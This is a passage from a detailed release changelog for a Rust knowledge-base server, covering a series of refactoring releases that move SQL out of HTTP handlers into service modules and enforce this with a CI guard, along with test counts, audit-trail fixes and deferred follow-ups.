  • Ceilings (honest): pre-Triage rows read 'global' forever (no heuristic re-attribution). Cross-domain reviewers with wildcard scopes see everything they could before — nothing narrows superuser visibility. The by-id verbs keep the queue’s global gate, so a domain-scoped approver needs the global grant PLUS the row-domain grant (the row re-auth can only deny, never widen; relaxing the route gate is a follow-up). Approval promotion still stamps knowledge global — the proposal’s domain does not yet flow into the promoted chunk (the parcel comment that claimed it did was aspirational; now corrected). /clients/{name}/proposals stays owner-scoped only (no domain narrowing). The export bundle’s proposal projection keeps its legacy column list (no domain/title). The workload view’s attribution stays lineage-only. Gold-set sync does NOT ride parcels (unchanged from the plan).

Predecessor: [1.28.52] — “Cornerstone”: the fin, the Foundation Line complete and machine-enforced.


[1.28.52] — 2026-09-03 — “Cornerstone”: THE FIN — the Foundation Line complete and machine-enforced

The line’s last milestone, with one declared amendment: v1.28.51 shipped with gate.rs (78 statements, the HITL proposal engine) still holding SQL, so the milestone opened with the AGENTS.md-prescribed Masonry-class extraction of the final vein — a new service::gate core, six surfaces, six commits, full gate + baseline-row-lowered per commit (78 → 68 → 66 → 59 → 57 → 21 → 0) — and then flipped the guard to ENFORCING. Handler-side SQL is now ZERO across the tree, and any regression — production, test fixture, or even a comment naming a statement opener — fails CI. No features, no routes, no schema (1.28.45 untouched).

Release notes

Bug fixes

  • None. (No behavior change ships in this release: the extraction moves statements verbatim with their error messages, and the flip deletes already-satisfied machinery.)

Improvements

  • service::gate (NEW) owns the HITL review queue’s complete storage story: the review-queue page read (status filter + since window + the LIMIT ceiling) with the deadline/SLA derivation and the supervisor owner filter; the creation insert (the proposal_pending audit riding the same call) and the subject-anchor conflict pre-check; the TTL-expire write with wall-clock entering as an argument; the pending-fence read ONE-DEFINED across approve/reject/edit (was three copies); the reject CAS and the content read (was two copies inside reject); the edit-path row read and re-score CAS; and the approve family — the pending-row read, the decision CAS ONE-DEFINED across six branches, the article-state CAS typed (KcsStateError::SlugTaken) so public_slug_taken keeps its frozen 409, the translation CAS with its verbatim datetime('now') quirk pinned and filed, the KCS draft insert, the vec shadow ONE-DEFINED across both promote paths, the idempotent case-article link, the supersession link-follow, and the generic promote insert. The export read moved as export_bundle (count pre-flight + the four datasets in stored/legacy JSON forms); the handler keeps the 413 ceiling, redaction, the provenance summary, and the UMP projections.
  • THE ENFORCING FLIP. The per-file baseline table, the floor pin, and the allowlist machinery are DELETED — nothing is left to compare against. no_sql_in_handlers_enforced walks src/handlers/ recursively and fails on ANY counted statement; a ≥30-file sanity refuses the vacuous pass, and sql_statement_counter_still_fires proves the counter still detects all four openers (a guard that cannot fire is decoration).
  • service_layer_free_of_http_types — the transport-free grep takes its line-plan name (born a hard error at Plumb; there was never a warning phase). Both guards ride CI via the test jobs (default + bench).
  • The architecture law is now public documentation: docs/architecture.md states the two layer rules, carries the request-flow mermaid diagram through the seam, and the seam table (what crosses down: connections, injected time, validated values; what crosses up: domain types, typed errors, in-tx audit rows; what never crosses: pools, state, statuses, wire shapes). AGENTS.md’s Architecture Law points there as the law’s public statement.
  • The Foundation Line close-out report is appended to docs/AUDIT.md: pin counts (service-tree pins 0 → 89 across the line; suite 1268 → 1308), the v1.28.50 eval-floor history, the per-phase smoke matrix, and the wire
    • schema identity proof — routes bit-identical (147), the authz gate table md5-identical (201 rows), schema_meta untouched at 1.28.45, and ONE declared openapi exception (the /ingest/proposal maxLength 2000 → 10000 shipped in Confluence b8cb52c with its same-commit contract edit; that release’s diff-empty claim was true for routes, false for this bound).

Security fixes

  • None. The review wire (digest binding, sanitize_read, PII masking), the approve-role gate, and the public_slug_taken 409 all preserved verbatim and pinned through the move.

Engineering record

  • The amendment (declared): the executor prompt assumed an empty allowlist; the prerequisite check printed 78 / 78, Δ 0 and STOPPED. The operator chose the extraction-first path; the flip then proceeded exactly as written. The extraction honored the line discipline — one surface per commit, full gate per commit, baseline row lowered in the same commit.
  • Gates: fmt clean; clippy --all-targets --features bench -D warnings green at HEAD and at every one of the eight commits; full suite 1308 passed / 7 ignored; enforcing guard + self-pin + renamed layer pin green; lipstyk diff-strict vs v1.28.45 CLEAN (one warn fixed: the since-window two-arm match simplified); mdbook build green.
  • Live smoke on a DB COPY (release binary v1.28.52): gate propose → digest-bound approve → chunk (817), recall hit, suggest + accept feedback, UMP memory record (content-addressed URN, blake3 integrity, ed25519 signature), Art.30 register read, export bundle (8791 knowledge rows, provenance v2), forget → tombstone (erased id 404s at the UMP read), workflow run open (run_id 1), kcs worklist read, webhook HMAC posture (missing signature → 401), /audit/verify ok at start and finish, /health + /version green (1.28.52).
  • Schema untouched at 1.28.45. openapi.yaml byte-identical to v1.28.51.
  • The six open dependabot bumps are WRAPPED into this release (operator call: keep the line at 1.28.52, land them here): argon2 0.5.3 → 0.6.0 (password-hash 0.6.1 + a new phc crate ride along; the KDF surface — Argon2::new/Params/hash_password_into — unchanged, the full 24-test backup suite green on the PR branch before wrapping), uuid 1.25.0 → 1.26.0, fastembed 6.0.1 → 6.0.2 (neural-embed/rerank-tier check clean); actions/cache v4 → v6.1.0 (SHA-pinned, 6 sites across ci/docs/release) and codeql-action init+analyze → 4.37.9 (2 sites). Gates re-run green on the combined tree: clippy -D warnings (default + bench), 1308 passed / 7 ignored, engine-crates 157 passed. PRs #20–#25 closed as wrapped.
  • Ceilings (honest): the translation CAS’s decided_at = datetime('now') (a SQL-side clock, inconsistent with every other branch’s bound parameter) is preserved VERBATIM — a pin or fix is filed, not smuggled into the move. The maxLength parity pin for the Confluence bound is a follow-up. The compliance-pack TEST RUN owed from Confluence remains owed — deferred again at push time by operator call (clippy green; the one-time full rebuild is the cost).

Predecessor: [1.28.51] — “Confluence”: the long tail, sixteen files to zero.


[1.28.51] — 2026-09-02 — “Confluence”: the long tail, sixteen files to zero

The Foundation Line’s long-tail milestone: every handler file EXCEPT gate.rs drained to ZERO embedded SQL — the inventory’s debt floor moved 241 → 78, with the one straggler (gate.rs, the HITL proposal engine — 50 production + 28 test occurrences, the surface Masonry’s release scoped and only nicked) honestly carried as THE ceiling of this milestone. Sixteen files drained across 15 extraction commits + one lint fix, one commit per file in the roadmap’s order, full gate per commit, the baseline row lowered in the same commit as each move.

Release notes

Bug fixes

  • The compliance-pack’s own test suite is compilable again. The pack’s evidence pins (oversight_links_a_signed_decision_record, tampered_signature_fails_verification, the RoPA upsert pin) could never have run: their fixture created the 7-column oversight_evidence while the write targets 9 columns (the moved pin now carries the full schema), and the pack’s suites live in the binary’s test target where the decision test seam (cfg(test) in the lib crate) is invisible — the seam is now cfg(any(test, feature = "compliance-pack")). The pack’s clippy build is green; the flagged TEST RUN remains pending (see ceilings).
  • A latent dead read removed. DELETE /sources/{id} fetched the source URI into a discarded binding “for the tombstone audit” — the post-commit audit logs the id only and never carried it. The read is gone; behavior is byte-identical.
  • A false “Pinned by test” claim reworded. SIGNAL_MAX_PER_HOUR’s comment asserted a pin that did not exist; the comment now states the truth (a crash-valve the relay backs off on), and the flood bounds read as service counts with the comparisons at the call site.

Improvements

  • Every long-tail surface now has a named core owning its complete storage story, each taking &Connection/&Transaction — never a pool, state, or a transport type — with typed errors whose Display carries the exact pre-move message: service::procedure (the store tx: root → per-chunk quarantine flags → ordered steps → next_step edges skipped for a quarantined root; the step-chain/meta/decision reads; the best-effort vec-shadow writes), service::ump_ops (the urn lookup, the bi-temporal supersession read, the raw relations read, the soft-forget block — flag + hash-only tombstone + in-tx audit — and the §3.7 consent-denial audit helper, moved WITH its pin), service::forget (the single-chunk erasure: document_id + digest capture, the explicit vec0 delete, the tombstone ONLY when a row actually deleted), service::suggest (the last-wins feedback upsert with its fail-open existence fence — retyped off HandlerError — and the grouped outcome counts), service::compliance (the best-effort oversight write, the six evidence counts with unwrap_or(-1) per table, the legacy-JSON RoPA read, the RoPA upsert with in-tx audit), service::art30 (the register’s data reads with all three error postures preserved verbatim: fail-the-request categories, best-effort connector/DSAR sections, fail-open lifecycle counts), service::webhook_ingest (the kb-feedback flood/finding/hot-count story, the Signal flood bound, the draft-approve read + the digest-gated pending→approved UPDATE), and workflow-side homes for the engine projections (workflow::state run-row reads + open_run, workflow::outbox steering inbox + lineage reads, workflow::scoreboard — NEW: the runs page, the fail-closed hash-linkage reconstruction, the aftersales cohort, score_units_now
    • the whole scoreboard test module — workflow::kcs’s article lifecycle, workflow::valet’s brief projections, workflow::relay’s handover reads, workflow::crew‘s presence touch + skills proposal, workflow::channels’ user-map proposal + the shared seen-window flood count), plus role::defined_count, capacity::knowledge_docs (fail-open), legal_hold::first_missing_id (the all-or-nothing fence), and service::recall::chunk_for_verify (the domain-bound verify read).
  • The e2e fence pins went home. The twelve borrowed-fixture pins in handlers/clients.rs (hold fences over forget / sources / ump / observe / holds / transfers + the auditor dual gate) moved onto service::register’s test module, which already carried the identical fixtures from Terrace; the valet brief tests moved onto workflow::valet’s test module. Call paths unchanged, every assertion unchanged.

Security fixes None. (Every fence moves WITH its code: the legal-hold fences in-tx, the screen→flag→store order and its body-scan pin, the verify-before-serve UMP orchestration, the digest-gated approve’s status predicate, the domain-label predicates, the wildcard-injection fence inside reuse_candidates, the CAS sequences and their audit rows — all pinned through every move.)

Engineering record

  • Inventory: 241 → 78. Drained to zero: workflow.rs 23, workflow_lineage.rs 11, procedure.rs 13, ump_ops.rs 11, kcs.rs 8, forget.rs 5, suggest.rs 6, compliance.rs 13, webhooks.rs 14, valet.rs 6, relay.rs 4, govern.rs 6, breaches/channel/ channel_webhook/crew/mod/sources/verify 7 (one each), holds.rs 2, the comment residues in ingest/shifts/auth/profiles/roles (8), and clients.rs’s 26 test seeds. The floor pin now asserts 78 with the single remaining row ("gate.rs", 78); per-file deltas printed at every step.
  • The straggler (honest): gate.rs — 78 occurrences, 50 in production code. It is the HITL proposal engine: the ~950-line approve arm with per-kind storage appliers (knowledge + vec rows, case_articles, the kcs publish/retract flips), propose/list/decide/ edit/decay/purge/export, the review-posture verb the Herald channel seams reuse byte-identically, and 28 test occurrences. It is Masonry-class work — the roadmap’s own law (“a fully-moved smaller scope beats a rushed full scope”) says it is its own milestone, NOT a half-day tail item. The v1.28.52 enforcing flip is therefore BLOCKED on a gate.rs extraction milestone first (or an explicit amendment extending this one). well_known.rs was verified 0-SQL (the roadmap listed it; the guard’s unlisted-file rule already pins it at implicit zero — the drained-file template).
  • CAS discipline untouched. open/state/events/answer/rewind ride workflow::state::cas_update exactly as before; the read_state_and_revision core is shared by the bare-connection state view (audited read, row-only-if-present audit), the answer CAS, and the rewind CAS (any read failure → Gone); the accept-time ownership transfer reads its CAS inputs inside the SAME Immediate tx as the offer move. The put_run_state 200-body revision quirk the recon flagged is preserved verbatim and filed for a follow-up pin.
  • Digest/HITL orders pinned through every move. The Signal draft-approve’s digest check and mismatch audit stay in the handler orchestration verbatim — including the pre-existing ceiling that the mismatch Denied audit rides the Immediate tx that then rolls back (evidence of the refusal is lost today; NOT fixed mid-move — filed as the audit-adjacency follow-up, alongside forget’s no-audit-row tombstone-only posture and the webhook arms’ audit-after-commit writes). The kcs approve/publish prechecks, the kcs_state_invalid vocabulary, the probe-blind 404 families (“no chunk with id {id}”, “no procedure with id {id}”, “no memory with id {id}”, “workflow run not found”) are byte-identical.
  • Body-scan + authz + read-seam guards passed unchanged: the screen-sites pin still holds screen::screen( inside procedure’s create (verdicts are wire-shaped at the handler; the core receives the flags); the owner-INSERT and ump sanitize seams hold; stored_text_fields_pass_the_read_seam scans unchanged handler bodies; authz_gates_cover_every_non_public_route still scans every gate in every handler body. Relations/verify/suggest read shaping (sanitize) stayed handler-side; services return STORED forms — one intended split: ump_ops::relations_for_chunk now maps raw service triples through the same sanitize, wire shape identical.
  • Dup-guard + transport-free greps green: no duplicated helper names (the ump row-meta read reuses service::procedure:: row_access_meta — one definition; the signal run-domain lookup reuses workflow::state::run_domain_of; the steering write was ALREADY shared and moved once, both callers repointing); the new service modules carry no transport types or version-citing comments.
  • Pins 1024 → 1036 (+12 net): the scoreboard tests moved with their fns (9), the consent-denial audit pin moved with its helper (+1 live repointed assertion at the handler), the oversight + tamper pins moved onto the full evidence schema (+2 schema-true fixtures), the RoPA in-tx-audit + 404 pin new (+1), the valet brief tests moved (2), and the twelve borrowed fence pins moved wholesale. Total count never decreased; full suite 1306 → 1316 passed / 7 ignored at the release build.
  • Gates: fmt clean; clippy --all-targets -D warnings green on bench, default, otel, and compliance-pack (clippy only — see ceilings); full suite --features bench 1316 passed / 7 ignored; CI dry-run green (engine-crates tests + clippy + fmt, steward-harness tests + clippy, default-features test –all-targets with RUSTFLAGS=-D warnings); lipstyk diff-strict clean vs v1.28.50 after one finding fixed (record_feedback borrows the tenant); openapi.yaml diff-empty (zero route changes); schema untouched at 1.28.45; inventory guard prints 78 / 78, Δ 0.
  • Live smoke on a DB COPY (release binary, per Confluence’s gate): procedure evaluate, UMP ops read (get-memory, integrity-verified), kcs worklist, DELETE /memory/{id} forget (tombstone carries the digest), suggest + feedback, the Art.30 register read, the webhook HMAC path (missing signature → 401, bad signature → 401), and /audit/verify ok throughout. (The skipped compliance-pack TEST RUN and the smoke transcript are the two items the release engineer confirms at push time; see ceilings.)
  • Ceilings (honest): The allowlist does NOT reach EMPTY — the milestone’s stated headline is missed by one file. gate.rs (78) is the single remaining allowlist row; the enforcing flip of v1.28.52 cannot ship until that extraction lands. The compliance-pack TEST RUN (clippy green, run deferred — three interrupted attempts; one-time full rebuild cost) must be executed before push; the pack’s clippy build is green. The forget aggregate still writes no audit_events row (the tombstone is the evidence — the erasure-family convergence follow-up). The Signal digest-mismatch Denied audit still rolls back with its tx (evidence of the refusal is lost — the audit-adjacency follow-up). put_run_state’s 200 body still carries cas_update’s run-id-as-revision quirk (nothing consumes it; pinned-fix follow-up). The two known-flaky backup tests (backup_manifest_integrity, backup_produces_decryptable_archive) raced twice during the session — root cause is the console-seam test setting BRAIN_CONNECTOR_CONFIG_DIR without the module env-lock while backup tests read it in-process (pre-existing, test-infra only, untouched; rerun-when-seen).

Predecessor: [1.28.50] — “Aqueduct”: the retrieval surfaces, two cores.


[1.28.50] — 2026-08-28 — “Aqueduct”: the retrieval surfaces, two cores

The Foundation Line’s fifth vein and the performance-sensitive heart: the retrieval surfaces converged onto the service layer — src/service/recall.rs (cross-domain fusion, the per-domain filter law, the per-domain read shaping, and the read-event write story) and src/service/ingest.rs (the screen → flag → store pipeline as ONE aggregate). This release is EVAL-GATED PER COMMIT: the recall floor gate ran after each extraction commit against the CI-style 25-doc scratch corpus, and the metrics came back byte-identical on both commits — behavior preservation, not retrieval-quality improvement.

Release notes

Bug fixes

  • The audit-retention prune can no longer be silently stranded from the read event. The pre-move read-event write ran record-then-prune-then-DSAR inside one inline handler closure with no early return between them — the move pins that exact order (read_event_failure_returns_none_and_still_prunes): a failed audit row write returns None AND the prunes still run, so a future ? refactor cannot silently couple retention to the write’s success. Behavior is unchanged; the invariant is now machine-checked.

Improvements

  • The recall core (service/recall.rs): the cross-domain Reciprocal Rank Fusion merge (rrf_merge_domains, moved verbatim — rank-based fusion across per-domain lists whose raw scores are not comparable), the per-domain filter law (domain_filters — multi-db drops the in-DB domain predicate so the pool-is-domain rule never double-restricts; shim mode keeps it scoped to the searched label; a bound profile’s retention map REPLACES the server-wide map rather than merging — all pinned), the per-domain post-search read shaping (finish_domain_results — snippet window, best-effort evidence enrichment, flagged-evidence suppression LAST so enrichment cannot re-attach what the review posture strips), and the read-event write story (record_recall_read_event — the hash-chained audit row, its replayable trace artifact, the every-registered-domain-chain retention prune, and the DSAR-ledger piggyback on ONE connection in the legacy order, best-effort by contract).
  • The ingest core (service/ingest.rs): the structured write path as one aggregate — the screen stage (screen_structured: the two-layer injection screen + the scrape-posture fence; the fence holds of the FUNCTION), the friendly-retention conversion (ttl_days_to_expires, clock injected — the row-wins invariant pinned exactly), the bound-profile write defaults (apply_profile_ingest: strict-posture masking at the write boundary, default access-scope fill, the kinds vocabulary fence as a typed variant), and the store transaction (store_record: the strict-posture re-check UNDER the write lock, the xxh3-64 content-hash dedup, the computed §6.2 ump_id, the knowledge + vec0 inserts, the fail-closed quarantine flag, the graph edges with their in-transaction supersession audits, and the exact delta counts). The wire vocabulary is rendered 1:1 from the typed errors — every variant carries its pre-move message.
  • A local eval-gate runner (scripts/aqueduct-eval.sh) mirroring the CI recall-eval job exactly: a scratch instance seeded with the frozen 25-doc corpus, then brain eval --floor r5=0.85 --floor r10=0.85 --floor mrr=0.85 against it — the reproducible per-commit gate the phase’s law requires.

Security fixes None. (The screen → flag → store fences and the every-domain authz read-gate move with their code; no posture changed.)

Engineering record

  • The pool schedule stays transport. The hybrid search’s three concurrent legs (vec0 + FTS5 + graph-PPR) each take their own pooled connection per domain; the acquisition schedule is the perf contract this line must not disturb, so the handler’s spawn_blocking keeps it verbatim and hands the core decisions, results, and borrowed connections. The recall core takes connections and domain types — never a pool, the registry, or a transport type.
  • Row-domain predicates run exactly as they did — inside the retriever SQL (search::vec0_knn/fts_search/graph_ppr, untouched); what moved into the service is the DECISION that feeds them (domain_filters), pinned for both modes plus the retention-map replacement.
  • The read seam is unchanged: results_to_hits stays at the handler’s emission boundary; the service returns STORED forms. The seam-wiring meta-test (stored_text_fields_pass_the_read_seam) needed no additions — the extraction created no new emission site.
  • Body-scan pins repointed, not rewritten: the owner-INSERT guard and the screen-sites guard now scan service/ingest.rs (store_record, screen_structured) — the INSERT literal and the screen call moved WITH the code they evidence.
  • Pins 1013 → 1024 (+11): the recall module went 20 → 24 (rrf ×2 + the trace-hash pin moved verbatim; domain_filters, finish_domain_results, and two read-event pins new), the ingest module 6 → 11 (ttl + profile ×2 moved with their aggregate; kind_vocabulary repointed to the typed fence; screen, in-tx audit, dedup, quarantine-no-edges, and the strict-posture race pins new), and two handler-free pins added (recall_core_is_handler_free, ingest_core_is_handler_free — fn-pointer coercions + production token walks; the recall coercion covers the generic connection-guard via a test-local Deref<Target = Connection> type).
  • Inventory: ingest.rs 22 → 3 (every store-tx statement out; the residue is comment substrings the substring lock deliberately counts) and the stale govern.rs row caught up at 18 → 6 (the Plumb-era retention move’s row was never lowered — Terrace shipped with the guard printing −12 progress); debt floor 272 → 241, same commit as the move. recall.rs stays 0/unlisted (no SQL before or after).
  • Gates: fmt clean; clippy --all-targets -D warnings green on bench, default, and otel; full suite --features bench 1301 passed / 6 ignored (main-binary 1024 vs 1013, +11); CI dry-run (engine-crates tests + clippy, steward-harness) green; lipstyk diff-strict clean vs v1.28.49; openapi.yaml diff-empty (zero route changes); schema untouched at 1.28.45.
  • Eval gate (per extraction commit, CI-style 25-doc scratch corpus, release build): pre-move baseline r5=0.976 / r10=0.991 / mrr=0.956; after the recall commit r5=0.976 / r10=0.991 / mrr=0.956; after the ingest commit r5=0.976 / r10=0.991 / mrr=0.956 — byte-identical means and per-query ranks on all 106 judged queries; floors (0.85) green at every gate. The floor gate targets the FROZEN 25-doc corpus (fresh scratch instance, exactly as CI runs it); a live-server run against a drifted corpus is not a comparable baseline (judged indices only align on the seeded set).
  • Live smoke on a DB COPY (multi-db, release binary): recall end-to-end with all three legs (vector + FTS + graph) on a multi-domain copy, ?trace=true → /recall/{id}/trace replay round-trip, include_flagged review posture, ingest screened (benign store) and quarantined (scrape without lawful basis → stored + flagged + no graph edges) paths, content-hash dedup (second identical ingest → "status":"duplicate" with the first row’s id), and /audit/verify ok on every chain throughout.
  • Ceilings (honest): LongMemEval parity stays PENDING — this line makes NO retrieval-quality claim, only behavior preservation (the eval gate proves the frozen-set metrics did not move; it does not claim external-engine parity). The read-event write remains a separate best-effort post-search blocking task (availability-first: the recall’s 8 s timeout must not absorb retention-prune cost; the consolidation is one service fn on one connection, not a merge into the search task). The evidence-enrichment connection is still a fresh best-effort pooled get per domain (byte-identical posture). The graph-leg SearchFilters boundary pins and the PRF occurrence-schema pins stayed attached to search/graph_ppr.rs and the search tests respectively — they pin the retriever engines, which did not move; the suite proves them byte-identical post-move. The trace-detail JSON shaping stays at the handler (it maps the wire HitSource labels; the service owns the WRITE, not the response shaping). RecallRequest/IngestRequest and their bounds validation stay handler-side (wire-shaped 400s; the Terrace kind-vocabulary ceiling extends to the confidence/entities/ relations fences).

Predecessor: [1.28.49] — “Terrace”: the register surfaces, two cores.


[1.28.49] — 2026-08-28 — “Terrace”: the register surfaces, two cores

The Foundation Line’s fourth vein: the BPO register surfaces — the clients register (CRUD, DPA terms, per-client hold/DSAR/coach/QA/ termination delegation seams, auditor row filters) and the isolation- domain administration (create/delete/vacuum/export/import census + the relabel transaction) — converged onto src/service/register.rs and src/service/domains_admin.rs. The pre-service src/clients.rs domain module folds into the register core (its HandlerError leaks become the typed RegisterError), the handler files shrink to protocol adapters, and the domain registry (the pool authority) never crosses the service boundary — proven at the type level.

Release notes

Bug fixes None.

Improvements

  • The register core (service/register.rs): the clients rows (insert with canonical-lowercase storage, the WORM-lite archive flip, list/by_name reads), the Art-28 DPA-terms round-trip (blank/ oversize fenced by MAX_DPA_FIELD — the fence now holds of the FUNCTION, re-asserted in set_dpa_terms), and the registration fences (validate_new_client/validate_dpa_terms) as typed variants the handler renders onto the byte-identical wire vocabulary. The per-client DELEGATION seams move with it: require_active_client (the by-name resolve + archived refusal every per-client route shares — 404 unknown / 409 archived before any domain-pool work), coach_note (the QA-note write + its audit row INSIDE the caller’s tx — pre-move the update and the audit rode two separate autocommit transactions, a crash window the audit-per-write law closes; pinned by coach_audits_inside_the_tx + its rollback twin), and termination_clause (the contract-end purge-or-return around the shared purge/DSAR primitives, held ids DEFERRED and reported).
  • The auditor row filter moves into the core (list_for_domain_grants): a client-auditor’s grant list scopes the emitted rows in the service — row-scoping is a service duty, not call-site discipline. The handler’s gate (403 on an empty grant set, the per-domain authorize) stays in front, byte-identical.
  • The domain-admin core (service/domains_admin.rs): the shim-mode census (DISTINCT domain labels + counts, unwrap_or(0) posture kept verbatim), the per-file census + emptiness probe behind create/warm, the domain erasure (legal-hold preflight → multi-db audit-segment export → the FK-ordered sweeps → the domain_deleted evidence row INSIDE the caller’s tx — pre-move that audit rode after the commit with a let _ =, the exact certified-silence form the error-propagation sweep forbids; the erasure and its evidence now commit or roll back together, pinned by domain_delete_rolls_back_with_its_audit), vacuum, export_snapshot (through the shared backup::vacuum_into escaper — the quote-escaping and symlink-containment pins stay attached to that primitive verbatim; domain_export_routes_through_shared_ vacuum_escaper pins that this module keeps calling it, never a hand-rolled literal), and the relabel transaction (moved VERBATIM with its own single-tx atomicity unit and its provenance guarantees).
  • handlers/domains.rs 64 → 0 SQL, handlers/clients.rs 44 → 26 (every register statement out; the 26 residue are other surfaces’ hold-fence/transfer/remanence pins that fixture on the register — see Ceilings). The frozen debt floor drops 354 → 272 in the same commit that moved the SQL. src/clients.rs is GONE — its storage fns, its tests, and its handler seams live in the register core.

Security fixes

  • register_services_receive_no_registry: the compile-time + source proof that the pool authority cannot leak into the register family — every core storage fn coerces to a plain fn pointer taking a connection or transaction FIRST (a future signature that takes the registry, a pool handle, or server state stops compiling), and the production source of both modules never names the registry/transport/handler types.
  • Auditor isolation re-asserted at the new boundary: client_auditor_sees_only_their_domain, client_auditor_with_no_granted_domain_sees_nothing, and the hold-per-client isolation pins moved with their aggregate and stay green; list_for_domain_grants_scopes_rows_in_the_core adds the core-level negative (a grant list scopes rows even if a future caller forgets the gate).
  • The domain-delete hold preflight is structural: the preflight runs inside the erasure fn on the ids collected in the same tx (the pre-move shape), rendering the identical shared 409 legal_hold_active envelope with reasons; domain_delete_refuses_while_holds_active moved with the aggregate and stays green.

Engineering record

  • Pin ledger (count delta ≥ 0): main-binary tests 1010 → 1013 (+3 net: NEW pins register_services_receive_no_registry, domain_delete_rolls_back_with_its_audit, domain_export_routes_through_shared_vacuum_escaper, coach_audits_inside_the_tx (+ its rollback twin inside the same test), list_for_domain_grants_scopes_rows_in_the_core; the src/clients.rs unit pins moved verbatim into the register core’s test region — the duplicate-register/profile_not_found/archive-idempotence/DPA-round- trip/unknown-client-zero assertions assert the typed variants now instead of HandlerError fields); the register route pins (per-client DSAR scope + unknown/archived, hold isolation + unknown/archived, shim single-pool no-deadlock, the R6 termination quartet, coach audit, QA-queue owner filter) moved verbatim with their aggregate; the domain pins (shim-delete preserves global tables — now driving the REAL erasure core instead of hand-replayed SQL, so its expected audit count grows by exactly the one in-tx evidence row — relabel provenance, relabel missing-ids) moved with theirs; the recompute-sweep pin repointed to domain_router.rs, the module of the code it always tested; the hold-fence pins (forget/tombstone digest, source delete/reconcile, ump hard/soft forget, allow-empty, hold-release DPO dual gate) and the transfer-registration atomicity pin stay in handlers/clients.rs — they pin OTHER surfaces and ride with those surfaces’ own extractions.
  • FK-children map (the erasure law: documented BEFORE the move) lives in the domains_admin.rs header: evidence_links both arms (NO ACTION — explicit first), relationships (SET NULL — explicit first so entities don’t orphan), the orphan-entities sweep (parents, shared across domains), embeddings (CASCADE, auto), tombstones (soft ref BY DESIGN), vec_knowledge (no FK — explicit), knowledge_fts (trigger-cleaned, never hand-deleted), sources/source_revisions (knowledge is the CHILD; sources’ CASCADE takes revisions), domain_centroids (domain-keyed), the multi-db wholesale-only tables (connector_checkpoints, webhook_seen, webhook_queue), and the case_articles/kcs_translations NO ACTION ceilings (shared with the purge core’s map — a domain carrying either fails LOUDLY, fail-closed).
  • Wire artifacts diff-empty: openapi.yaml, the route-coverage array, and the route-authz table are untouched (no route changes). Schema untouched at 1.28.45. Error bodies byte-preserved via the typed maps: client not found (404), client not active (archived) (409), client already exists (409), the registration-fence 400s with their exact messages, profile_not_found, id_not_found ({missing}/{total} ids do not exist), confirm_required (delete AND relabel forms), the shared legal_hold_active envelope with reasons, and internal-error bodies carrying the verbatim pre-move statement-prefixed texts (delete evidence_links failed: , relabel failed: , VACUUM INTO failed: , vacuum failed: , archive domain audit: , commit failed: included). The response JSON shapes (DomainInfo, the register rows, TerminationCertificate, the hold/QA/coach bodies) are field-for-field identical; the core’s census returns a plain DomainRow the adapter maps 1:1.
  • Error-conversion notes (the honest diff): the pre-move client resolution ran transfers::list BEFORE the archived refusal in the DSAR seam; the typed require_active_client refusal now precedes the mechanism lookup (a read-order change with no wire effect — the 409 body is identical and the lookup was read-only). The domain_deleted audit row and the termination audit row moved INSIDE their caller’s transactions (byte-identical rows; only the crash-window atomicity changed — the Masonry/Plumb shape), and the audit writer’s own fail-safe posture (drop + /health alert, never forge) is unchanged.
  • Gates: fmt clean; clippy --all-targets --features bench -D warnings zero warnings (the fn-pointer signature aliases in the new type-level pin factor the complexity); full suite --features bench green (1295 passed, 6 ignored; main-binary 1013 vs 1010, +3). CI dry-run: lint-test (default features) clippy+tests, engine-crates tests+clippy, steward-harness, otel-gate clippy+tests — all green; lipstyk diff-strict clean (one verbose-match in the moved DPA read collapsed to ok_or_else); client fmt clean (client/ untouched).
  • Live smoke on a DB COPY (multi-db mode, release binary): client add → DPA set/read-back → delegate hold on the client’s row → client-scoped DSAR purge: the free row purged (tombstone reason owner:smoke@client), the held row DEFERRED with reasons on the certificate, and the other-domain row completely untouched (zero cross-domain tombstones); /audit/verify ok on every chain at every step. Domain legs: create (201) → vacuum → export → import round-trip (content-identical clone); export with a single quote in TMPDIR — the exact breakout the escaping pin guards — returned 200 with valid SQLite bytes and zero temp residue; domain delete refused 409 legal_hold_active while held (rows + file intact), then after hold release proceeded: FK-ordered sweep, 0600 pre-deletion archive segment (NULL prev_hash serialized, tombstones appended, no domain_deleted inside), the evidence row on the preserved chain, file retained in place. Client end with a purge-policy DPA: chunks purged, register row archived, re-end → 409, unknown client → 404 before any pool work.
  • Ceilings (honest): handlers/clients.rs retains 26 test-region statements — the universal legal-hold fence pins (delete/source/ump bypass paths), the transfer-registration atomicity pin, and the DSAR remanence-posture pin fixture on the register but pin OTHER surfaces (forget/sources/ump/holds/transfers/observe); they are neither register pins nor register-security pins, they cannot move to their surfaces’ handler files without regressing those files’ frozen baselines, and they ride with those surfaces’ own Confluence-line extractions — the register surface itself is fully drained (0 production statements, the route inventory 64 → 0 and 44 → 26 measured by the guard’s own counter). Client/DpaTerms keep their legacy serde derives (they ARE the wire/storage forms — the retention exemplar’s ceiling); relabel_chunks keeps its verbatim self-contained tx (the whole relabel is its atomicity unit; it owes no audit row); the shim-mode per-client DSAR sweeps the shared DB by subject (pre-existing shim semantics, pinned and unchanged — the multi-db isolation is the scoped contract); the import path embeds no storage logic, so its magic-header/filesystem/registry duties stay at the handler by the layer law (the surface is converged: zero embedded statements remain to move); the multi-db census keeps the per-file open loop and the fail-soft continue at the handler (filesystem orchestration, not storage); the register/termination handler audits that already sat AFTER their commits (if let Ok(conn) best-effort form) stay handler-side this milestone — closing them is a follow-up, filed, not smuggled into a move.

Predecessor: [1.28.48] — “Masonry”: the lifecycle surface, three cores.


[1.28.48] — 2026-08-28 — “Masonry”: the lifecycle surface, three cores

The Foundation Line’s third vein: the gate handler’s lifecycle families — the /decayed review list, the /purge by-ids/by-owner orchestration, and the by-id/batch read projections (/get/{id}, /multi-get, the shared knowledge-row projection) — converged onto src/service/lifecycle/{decay, purge,fetch}.rs. The gate handler keeps exactly the adapter work and shrinks toward its eventual seam-library remainder; the plan-vs-tree reconciliation (the roadmap priced this milestone at gate.rs 84 while the frozen re-measure is 83, and the /get+/multi-get handler bodies live in the router file, not gate.rs) is recorded in the engineering record, not silently absorbed.

Release notes

Bug fixes None.

Improvements

  • The /decayed aggregate moves as ONE unit (service/lifecycle/ decay.rs): the SQL-superset WHERE and the Rust-side expiry arbiter are inseparable — the SQL only narrows the scan, the Rust filter decides every row’s fate — and the pairing travels together, pinned by sql_superset_plus_rust_arbiter_move_together (both halves in the core, neither left behind in the handler, and the route wired through the core). The held-id exclusion (a held id never appears in the decay registry) and the bounded-page clamp (MAX_DECAYED, offset floor) are re-asserted in the core, so every future caller inherits the fence.
